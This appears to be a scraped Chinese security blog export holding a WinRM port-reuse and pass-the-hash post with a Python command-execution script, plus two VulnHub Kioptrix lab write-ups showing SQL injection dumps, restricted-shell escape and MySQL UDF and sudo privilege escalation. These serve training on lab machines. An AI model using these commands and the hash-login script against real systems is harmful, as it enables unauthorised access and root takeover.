winrm/config/Client @{TrustedHosts="*"} 连接使用winrs命令接口连接远程winrm服务执行命令,并返回结果winrs,Windows Remote Shell,windows远程shell,是winrm的一个组件 1winrs ‐r:http://www.aabbcc.com ‐u:administrator ‐p:Password [命令] 实验端口复用开启IIS服务/WEB服务 先看一下当前注册的url前缀:netsh http show servicestate 启动winrm:winrm quickconfig -q 再看一下注册的url前缀,发现winrm已注册: 看一下端口情况:netstat -ano 增加80端口复用:winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} 更改winrm为80端口:winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} 再看一下端口情况,发现5985端口已关闭: Attacker:Windows Server 2008 R2 x64 启动winrmwinrm quickconfig -q 设置信任主机地址:winrm set winrm/config/Client @{TrustedHosts="*"} 使用winrs远程执行命令:winrs -r:http://192.168.232.135 -u:administrator -p:1qaz@WSX whoami 执行cmd命令可获取交互式shell:winrs -r:http://192.168.232.135 -u:administrator -p:1qaz@WSX cmd 此时IIS的正常服务并未受到影响: Bypass UAC 如果远程计算机上的帐户具有相同登录用户名和密码,则所需的唯一额外信息是传输、域名和计算机名称。 由于 用户帐户控制 (UAC) ,远程帐户必须是域帐户和远程计算机管理员组的成员。 如果帐户是管理员组的本地计算机成员,则 UAC 不允许访问 WinRM 服务若要访问工作组中的远程 WinRM 服务,必须通过创建以下 DWORD 注册表项并将其值设置为 1[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System] LocalAccountTokenFilterPolicy 来禁用本地帐户的 UAC 筛选 12345678910net user test password@123 /addnet localgroup administrators test /add# 删除,因为无法直接修改reg delete HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /f# 添加注册表reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fwinrm set winrm/config/Client @{TrustedHosts="*"}winrm e winrm/config/listener 修改后,普通管理员登录后也是高权限 Hash登录(来自网络)使用本地的winrs登录,虽然非常方便,但是Windows Server 2012以后我们抓取明文密码有些许复杂,多数情况下只能抓到账户的Hash,这个时候如果用winrs就无法正常登录了。此时,我们就可以借助python脚本,用NTLM hash执行命令了 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374#!/usr/bin/python# -*- coding: UTF-8 -*-import argparseimport urllib.parseimport requestsimport winrmimport sysdef getURLState(url): r = requests.get(url) if r.status_code == 404: print("[-]404 Not Found!") sys.exit(0) elif r.status_code == 403: print("[-]403 Forbidden!") sys.exit(0) elif r.status_code == 500: print("[-]500 Internal Server Error!") sys.exit(0) elif r.status_code == 200: print("[+]200 OK!") return else: print("HTTP Status Code:"+str(r.status_code)) returndef splitURL(url): parser = urllib.parse.urlparse(url) path = parser.path ip = parser.netloc port = parser.port return path,ip,portdef parseFlag(): parser = argparse.ArgumentParser(description='WinRm Port Reuse (Only Windows Server >= 2012)') parser.add_argument("-r",action='store',dest='url',help='Remote URL') parser.add_argument("-u",action='store',dest='user',default="administrator",help='WinRM username') parser.add_argument("-p",metavar="",dest='pwd',help="WinRM password") parser.add_argument("-H",action='store',dest='hpwd',help="NTLM-Hash password") parser.add_argument("-c",action='store',dest='cmd',default="whoami",help="cmd shell") return parser.parse_args()def attackWinRM(path,ip,port,cmd,**shell): if shell.get("hpwd"): try: wincmd = winrm.Session('http://' + ip + ":" + str(port) + path, auth=(shell.get("user"), '00000000000000000000000000000000:' + shell.get("hpwd")), transport="ntlm", server_cert_validation='ignore') result = wincmd.run_cmd(str(cmd)) sys.stdout.write(result.std_out.decode('gbk')) sys.stdout.write(result.std_err.decode('gbk')) sys.stdout.write(' ') except Exception as e: print("[-]Hash Assword Error:" + str(e)) else: try: wincmd = winrm.Session('http://' + ip + ":" + str(port) + path, auth=(shell.get("user"), shell.get("pwd")), transport="basic", server_cert_validation='ignore') result = wincmd.run_cmd(str(cmd)) sys.stdout.write(result.std_out.decode('gbk')) sys.stdout.write(result.std_err.decode('gbk')) sys.stdout.write(' ') except Exception as e: print("[-]Password Error:" + str(e))def Main(): args = parseFlag() getURLState(args.url) path, ip, port = splitURL(args.url) attackWinRM(path,ip,port,args.cmd, user=args.user, hpwd=args.hpwd, pwd=args.pwd)if __name__ == '__main__': Main() 使用此脚本用明文密码登录时,需要为WinRM service 配置auth:winrm set winrm/config/service/auth @{Basic="true"}还要为WinRM service配置加密方式为允许非加密:winrm set winrm/config/service @{AllowUnencrypted="true"}用Hash登录时,需使用NTLM Hash。","tags":["应急响应","Windows"]},{"title":"VulnHub-Kioptrix Level 4 受限 Shell 越狱 + Mysql UDF 提权","path":"/2024/03/01/70eef621/","content":"总字符数: 18.79K 代码: 15.99K, 文本: 0.58K 预计阅读时间: 1.20 小时 Overview Name Template Release Date 2024-03-01 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-13-4,25 相关技能 MySql UDF restricted Shell Bypass 薄弱点 MySql UDF restricted Shell Bypass Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.130 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 192.168.150.130 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.130 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.150.130 -oN nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 14:04 CSTNmap scan report for 192.168.150.130Host is up (0.00048s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch|_http-title: Site doesn't have a title (text/html).139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)MAC Address: 00:0C:29:09:FE:DB (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:| smb-os-discovery: | OS: Unix (Samba 3.0.28a)| Computer name: Kioptrix4| NetBIOS computer name: | Domain name: localdomain| FQDN: Kioptrix4.localdomain|_ System time: 2024-02-26T09:05:00-05:00| smb-security-mode: | account_used: guest| authentication_level: user| challenge_response: supported|_ message_signing: disabled (dangerous, but default)|_nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)|_clock-skew: mean: 10h30m00s, deviation: 3h32m07s, median: 8h00m00s|_smb2-time: Protocol negotiation failed (SMB2)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux-ng 127.0.0.1 1234567891011121314151617181920212223242526272829303132333435363738394041$ enum4linux-ng <ip>┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# enum4linux-ng 192.168.150.130 > smb.result┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# more smb.result ==================================================| OS Information via RPC for 192.168.150.130 | ==================================================[*] Enumerating via unauthenticated SMB session on 445/tcp[+] Found OS information via SMB[*] Enumerating via 'srvinfo'[+] Found OS information via 'srvinfo'[+] After merging OS information we have the following result:OS: Linux/Unix (Samba 3.0.28a) OS version: '4.9' OS release: not supported OS build: not supported Native OS: Unix Native LAN manager: Samba 3.0.28a Platform id: '500' Server type: '0x809a03' Server type string: Wk Sv PrQ Unx NT SNT Kioptrix4 server (Samba, Ubuntu) ┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# cat smb.result | grep user[+] Server allows session using username '', password ''[*] Check for random user[+] Server allows session using username 'gmbklnrd', password ''[H] Rerunning enumeration with user 'gmbklnrd' might give more results[*] Enumerating users via 'querydispinfo'[+] Found 5 user(s) via 'querydispinfo'[*] Enumerating users via 'enumdomusers'[+] Found 5 user(s) via 'enumdomusers'[+] After merging user results we have 5 user(s) total: username: root username: loneferret username: john username: robert username: nobody MSF-SMB 123456# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.150.130http://192.168.150.130 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.150.130], Script[text/javascript] 目录枚举 dirb http://192.168.150.130 dirsearch -u http://192.168.150.130 -r gobuster dir -w ... -u http://192.168.150.130 -x html,php,js,bak 123456789101112131415161718192021222324252627282930313233┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.150.130 -x html,php,js,bak===============================================================Gobuster v3.6by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.150.130[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.6[+] Extensions: bak,html,php,js[+] Timeout: 10s===============================================================Starting gobuster in directory enumeration mode===============================================================/images (Status: 301) [Size: 358] [--> http://192.168.150.130/images/] /index.php (Status: 200) [Size: 1255]/.html (Status: 403) [Size: 327]/index (Status: 200) [Size: 1255]/member (Status: 302) [Size: 220] [--> index.php]/member.php (Status: 302) [Size: 220] [--> index.php]/logout (Status: 302) [Size: 0] [--> index.php]/logout.php (Status: 302) [Size: 0] [--> index.php]/john (Status: 301) [Size: 356] [--> http://192.168.150.130/john/] /robert (Status: 301) [Size: 358] [--> http://192.168.150.130/robert/] /.html (Status: 403) [Size: 327]Progress: 1102800 / 1102805 (100.00%)===============================================================Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.150.130/ -w dict.txt 1 pass.list 12MyNameIsJohnADGAdsafdfwt4gadfga== user.list 12345rootloneferretjohnrobertnobody hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点发现登录功能,尝试万能密码1" or "1"="1/1' or '1'='1 发现报错,并且用户功能点的单引号被转义了,把用户名换成一个正常的试试,密码还是用万能密码 发现存在SQL注入,由于是POST请求,使用BURP抓包,用SQLMAP跑一跑 保存成文件 信息分析1234567891011121314151617181920212223242526┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch --dbsavailable databases [3]:[*] information_schema[*] members[*] mysql┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch -D members --tablesDatabase: members[1 table]+---------+| members |+---------+┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# sqlmap -r sql.txt --leve 3 --batch -D members -T members --dumpDatabase: membersTable: members[2 entries]+----+-----------------------+----------+| id | password | username |+----+-----------------------+----------+| 1 | MyNameIsJohn | john || 2 | ADGAdsafdfwt4gadfga== | robert |+----+-----------------------+----------+ 使用已知的user.list and pass.list进行密码喷洒 Web界面没有功能点 SSH12345678910111213141516┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# ssh -o HostKeyAlgorithms=ssh-rsa john@192.168.150.130Welcome to LigGoat Security Systems - We are Watching== Welcome LigGoat Employee ==LigGoat Shell is in place so you don't screw upType '?' or 'help' to get the list of allowed commandsjohn:~$ ┌──(root㉿kali)-[/opt/vulnhub/0x04]└─# ssh -o HostKeyAlgorithms=ssh-rsa robert@192.168.150.130Welcome to LigGoat Security Systems - We are Watching== Welcome LigGoat Employee ==LigGoat Shell is in place so you don't screw upType '?' or 'help' to get the list of allowed commandsrobert:~$ 提示:欢迎来到安全系统,很有可能是受限Shell 12345678john:~$ python -c 'print("Hello, Python!")'*** unknown command: pythonjohn:~$ python3 -c 'print("Hello, Python!")'*** unknown command: python3john:~$ ruby -e 'puts "Hello, Ruby!"'*** unknown command: rubyjohn:~$ echo os.system('/bin/bash')john@Kioptrix4:~$ 系统信息收集123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105john@Kioptrix4:/tmp$ history 1 exit 2 sudo su 3 clear 4 ls 5 cd /home/loneferret 6 ls 7 ./nc 8 rm nc 9 exit 10 idjohn@Kioptrix4:/tmp$ cat /home/john/.bash_history exitsudo suclearlscd /home/loneferretls./ncrm ncexitjohn@Kioptrix4:/tmp$ uname -aLinux Kioptrix4 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linuxjohn@Kioptrix4:/tmp$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 8.04.3 LTSRelease: 8.04Codename: hardyjohn@Kioptrix4:/tmp$ ┌──(root㉿kali)-[/opt/TOP10/burp]└─# searchsploit Ubuntu 8.04.3 --------------------------------------- --------------------------------- Exploit Title | Path--------------------------------------- ---------------------------------Ubuntu < 15.10 - PT Chown Arbitrary PT | linux/local/41760.txt--------------------------------------- ---------------------------------Shellcodes: No Results--------------------------------------- --------------------------------- Paper Title | Path--------------------------------------- ---------------------------------Debian < 5.0.6 / Ubuntu < 10.04 - Webs | english/15311-debian--5.0.6--ubu--------------------------------------- ---------------------------------# 没有可用漏洞,换方向john@Kioptrix4:/tmp$ sudo -l[sudo] password for john: Sorry, user john may not run sudo on Kioptrix4.john@Kioptrix4:/tmp$ find / -perm -u=s -type f 2>/dev/null/usr/lib/apache2/suexec/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/pt_chown/usr/bin/chsh/usr/bin/sudo/usr/bin/traceroute6.iputils/usr/bin/newgrp/usr/bin/sudoedit/usr/bin/chfn/usr/bin/arping/usr/bin/gpasswd/usr/bin/mtr/usr/bin/passwd/usr/bin/at/usr/sbin/pppd/usr/sbin/uuidd/lib/dhcp3-client/call-dhclient-script/bin/mount/bin/ping6/bin/fusermount/bin/su/bin/ping/bin/umount/sbin/umount.cifs/sbin/mount.cifs# 没有,下一位john@Kioptrix4:/home$ cd /var/www/john@Kioptrix4:/var/www$ cat checklogin.php <?phpob_start();$host="localhost"; // Host name$username="root"; // Mysql username$password=""; // Mysql password$db_name="members"; // Database name$tbl_name="members"; // Table name# MySQL无密码,看看能不能第三方应用提权john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.solib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so# 存在lib_mysqludf_sys.so,尝试udf提权john@Kioptrix4:/var/www$ mysql -uroot -pEnter password: Welcome to the MySQL monitor. Commands end with ; or \\g.Your MySQL connection id is 9786Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)Type 'help;' or '\\h' for help. Type '\\c' to clear the buffer.mysql> https://jiangjiyue.github.io/2020/12/21/466824cf/https://jiangjiyue.github.io/2020/12/21/466824cf/ MySQL提权1234567891011121314151617mysql> SELECT * FROM information_schema.tables WHERE table_name like '%fun%'; +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME | TABLE_TYPE | ENGINE | VERSION | ROW_FORMAT | TABLE_ROWS | AVG_ROW_LENGTH | DATA_LENGTH | MAX_DATA_LENGTH | INDEX_LENGTH | DATA_FREE | AUTO_INCREMENT | CREATE_TIME | UPDATE_TIME | CHECK_TIME | TABLE_COLLATION | CHECKSUM | CREATE_OPTIONS | TABLE_COMMENT |+---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+| NULL | mysql | func | BASE TABLE | MyISAM | 10 | Fixed | 3 | 579 | 1737 | 162974011515469823 | 2048 | 0 | NULL | 2012-02-04 10:00:35 | 2020-12-21 15:24:46 | 2020-12-21 10:35:01 | utf8_bin | NULL | | User defined functions | +---------------+--------------+------------+------------+--------+---------+------------+------------+----------------+-------------+--------------------+--------------+-----------+----------------+---------------------+---------------------+---------------------+-----------------+----------+----------------+------------------------+1 row in set (0.00 sec)-- 上方有个func表,属于mysql数据库,查看他存在哪些函数mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+2 rows in set (0.00 sec) 存在sys_exec函数但是无法利用,重新创建个函数试试 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647mysql> create function sys_eval returns string soname 'udf.so';ERROR 1046 (3D000): No database selectedmysql> use mysqlReading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changedmysql> create function sys_eval returns string soname 'lib_mysqludf_sys.so';Query OK, 0 rows affected (0.00 sec)mysql> select * from mysql.func;+-----------------------+-----+---------------------+----------+| name | ret | dl | type |+-----------------------+-----+---------------------+----------+| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function | | sys_exec | 0 | lib_mysqludf_sys.so | function | | sys_eval | 0 | lib_mysqludf_sys.so | function | +-----------------------+-----+---------------------+----------+3 rows in set (0.00 sec)mysql> select sys_eval('id');+--------------------------+| sys_eval('id') |+--------------------------+| uid=0(root) gid=0(root) | +--------------------------+1 row in set (0.00 sec)-- 成功提权mysql> select sys_eval('chown -R john:john /etc/sudoers');+---------------------------------------------+| sys_eval('chown -R john:john /etc/sudoers') |+---------------------------------------------+| | +---------------------------------------------+1 row in set (0.00 sec)mysql> exitByejohn@Kioptrix4:/var/www$ ls -la /etc/ | grep sudoers-r--r----- 1 john john 557 2012-02-04 09:58 sudoersjohn@Kioptrix4:/var/www$ chmod +w /etc/sudoers john@Kioptrix4:/var/www$ ls -la /etc/ | grep sudoers-rw-r----- 1 john john 557 2012-02-04 09:58 sudoersjohn@Kioptrix4:/var/www$ vi /etc/sudoers 12345678910111213141516john@Kioptrix4:/var/www$ sudo -lsudo: /etc/sudoers is mode 0640, should be 0440john@Kioptrix4:/var/www$ chmod 0440 /etc/sudoers john@Kioptrix4:/var/www$ mysql -uroot -pEnter password: mysql> select sys_eval('chown -R root:root /etc/sudoers');+---------------------------------------------+| sys_eval('chown -R root:root /etc/sudoers') |+---------------------------------------------+| | +---------------------------------------------+1 row in set (0.00 sec) mysql> exitBye 123456789john@Kioptrix4:/var/www$ sudo -lUser john may run the following commands on this host: (root) NOPASSWD: ALLjohn@Kioptrix4:/var/www$ sudo suroot@Kioptrix4:/var/www# cd /root/root@Kioptrix4:~# whoamirootroot@Kioptrix4:~# iduid=0(root) gid=0(root) groups=0(root) Shell as user1 Shell as user2 以root身份进入Shell 保存屏幕截图作为Flag或Proof","tags":["渗透测试","漏洞利用","攻防演练","靶机练习"]},{"title":"VulnHub-Kioptrix Level 3 SQL 注入 + sudo 提权","path":"/2024/02/28/aba73427/","content":"总字符数: 10.31K 代码: 7.96K, 文本: 0.54K 预计阅读时间: 37 分钟 Overview Name Template Release Date 2024-02-28 Write-up Author kill3r Machine Author kill3r Difficulty Medium User Flag Root Flag Link https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ 相关技能 File Upload Local File Include vim to shell 薄弱点 字典及信息收集技能薄弱 Nmap扫描12345ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.129 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',')nmap -p$ports -sV -sC -O 192.168.150.129 -oN nmap.txt# 第一行代码使用nmap命令扫描本地主机的所有端口(从1到65535),--min-rate=1000参数表示每秒发送最少1000个包,-T4参数表示设置扫描速度为快速扫描模式。# grep -oE '(^[0-9][^/tcp]*)'用于提取输出结果中的端口号,tr ' ' ','用于将提取的端口号按逗号分隔并拼接成一个字符串。# 第二行代码使用nmap命令再次扫描指定的端口,-p$ports参数表示扫描之前提取的端口列表,-sV参数表示进行服务版本检测,-sC参数表示在扫描过程中使用默认脚本进行常见漏洞探测,-O参数表示进行操作系统版本检测,-oN nmap.txt参数表示将扫描结果保存到名为nmap.txt的文件中。 12345678910111213141516171819202122232425262728293031┌──(root㉿kill3r)-[/home/kill3r]└─# ports=$(nmap -p- --min-rate=1000 -T4 192.168.150.129 | grep -oE '(^[0-9][^/tcp]*)' | tr ' ' ',') ┌──(root㉿kill3r)-[/home/kill3r]└─# nmap -p$ports -sV -sC -O 192.168.150.129 -oN nmap.txtStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-26 10:11 CSTNmap scan report for kioptrix3.com (192.168.150.129)Host is up (0.00044s latency).PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)| ssh-hostkey: | 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set|_http-title: Ligoat Security - Got Goat? Security ...|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-PatchMAC Address: 00:0C:29:9F:D9:FA (VMware)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning: Linux 2.6.XOS CPE: cpe:/o:linux:linux_kernel:2.6OS details: Linux 2.6.9 - 2.6.33Network Distance: 1 hopService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 8.67 seconds 枚举SMB 枚举 Port: 139 389 445 636 enum4linux -a/-A 127.0.0.1 1$ enum4linux -A <ip> MSF-SMB 123456# 基于SMB协议扫描版本号msf6 > use auxiliary/scanner/smb/smb_version# 扫描共享文件msf6 > use auxiliary/scanner/smb/smb_enumshares# 基于SMB进行用户信息枚举msf6 > use auxiliary/scanner/smb/smb_lookupsid Web HTTP Web Server, Port Like: 80 443 81 8080 8443 4443 8081 Finger:获取有关特定用户或系统上的用户列表和配置信息 whatweb1234# 用于识别和分析目标网站的技术栈、CMS(内容管理系统)、插件、框架和其他与网站相关的信息。通过分析网站的响应和页面内容┌──(root㉿kill3r)-[~]└─# whatweb 192.168.150.129http://192.168.150.129 [200 OK] Apache[2.4.46], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.46 (Debian)], IP[192.168.150.129], Script[text/javascript] 目录枚举 dirb http://192.168.150.129 dirsearch -u http://192.168.150.129 -r gobuster dir -w ... -u http://192.168.150.129 -x html,php,js,bak 123456789101112131415161718192021222324252627282930┌──(root㉿kill3r)-[~]└─# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.150.129 -x html,php,js,bak===============================================================Gobuster v3.3by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)===============================================================[+] Url: http://192.168.150.129[+] Method: GET[+] Threads: 10[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt[+] Negative Status codes: 404[+] User Agent: gobuster/3.3[+] Extensions: html,php,js,bak[+] Timeout: 10s===============================================================2023/08/03 22:01:51 Starting gobuster in directory enumeration mode===============================================================/.php (Status: 403) [Size: 279]/.html (Status: 403) [Size: 279]/index.html (Status: 200) [Size: 1620]/profile.php (Status: 200) [Size: 1473]/javascript.js (Status: 200) [Size: 0]/javascript (Status: 301) [Size: 321] [--> http://192.168.150.129/javascript/] /exploit.html (Status: 200) [Size: 279]/.php (Status: 403) [Size: 279]/.html (Status: 403) [Size: 279]/server-status (Status: 403) [Size: 279]Progress: 1099312 / 1102805 (99.68%)===============================================================2023/08/03 22:03:22 Finished=============================================================== 漏洞扫描 12$ nikto -h http://www.example.com/$ nuclei -u https://example.com/ wordlist cewl.list:cewl http://192.168.150.129/ -w cewl.txt 123456789101112nowPostcommentNameWebsiteRememberAdministrationUsernamePasswordProudlyPoweredAdminstration pass.list 123n0t7t1k4Mast3rstarwars user.list 123admindregloneferret hash.list 123456```- information.list```bash 复现过程访问靶场,寻找功能点 进入博客后发现图片全部乱码,F12打开后查看网络,发现是请求的网址,那我们改一下hosts文件,将IP指向这个域名 页面返回正常,查询是否为常见CMS,未查询到,寻找SQL注入点,在一处排序功能点可以选择ID排序,然后判断是否存在注入 信息分析SQL注入 出现了SQL报错,丢到SQLMap中,可以手注哈 12345678910111213141516171819202122232425262728┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id --dbs┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id -D gallery --tables┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1%27&sort=filename#photos~" -p id -D gallery --dump Database: galleryTable: dev_accounts[2 entries]+----+---------------------------------------------+------------+| id | password | username |+----+---------------------------------------------+------------+| 1 | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r) | dreg || 2 | 5badcaf789d3d1d09794d8f021f40f0e (starwars) | loneferret |+----+---------------------------------------------+------------+Database: galleryTable: gallarific_users[1 entry]+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+| userid | email | photo | website | joincode | lastname | password | username | usertype | firstname | datejoined | issuperuser |+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+| 1 | <blank> | <blank> | <blank> | <blank> | User | n0t7t1k4 | admin | superuser | Super | 1302628616 | 1 |+--------+---------+---------+---------+----------+----------+----------+----------+-----------+-----------+------------+-------------+ 尝试密码碰撞用得到的帐号密码尝试登录CMS后台或者ssh服务. 1234567891011┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh dreg@192.168.150.129 Unable to negotiate with 192.168.150.129 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss# 这个错误是由于SSH客户端与SSH服务器之间的密钥类型不匹配导致的。根据错误提示,服务器提供的密钥类型是ssh-rsa和ssh-dss,但客户端无法与之匹配,并且OpenSSH 7.0 版本之后已经删除了ssh-dss,默认不再支持它# 通过在SSH命令中使用 -o 选项来指定所需的密钥类型┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh -o HostKeyAlgorithms=ssh-rsa dreg@192.168.150.129┌──(root㉿kali)-[/opt/vulnhub/0x03]└─# ssh -o HostKeyAlgorithms=ssh-rsa loneferret@192.168.150.129 系统信息收集Shell as dreg12341. history2. dreg@Kioptrix3:~$ ll -a-rbash: /usr/bin/python: restricted: cannot specify `/' in command names# bash好像有问题 Shell as loneferret12345678910111213141516171819202122232425262728291. history2. loneferret@Kioptrix3:~$ lschecksec.sh CompanyPolicy.README3. loneferret@Kioptrix3:~$ ./checksec.sh --helpUsage: checksec [OPTION]Options: --file <executable-file> --dir <directory> [-v] --proc <process name> --proc-all --proc-libs <process ID> --kernel --fortify-file <executable-file> --fortify-proc <process ID> --version --helpFor more information, see: http://www.trapkit.de/tools/checksec.html# 感觉没啥用4. loneferret@Kioptrix3:~$ sudo -lUser loneferret may run the following commands on this host: (root) NOPASSWD: !/usr/bin/su (root) NOPASSWD: /usr/local/bin/ht# sudo发现了ht编辑器似乎可以提权 123456789loneferret@Kioptrix3:~$ export TERM=xtermloneferret@Kioptrix3:~$ sudo ht# 打开/etc/sudoers# 底下就是命令 f3打开 f2保存# User privilege specification │root ALL=(ALL) ALL │loneferret ALL=NOPASSWD: 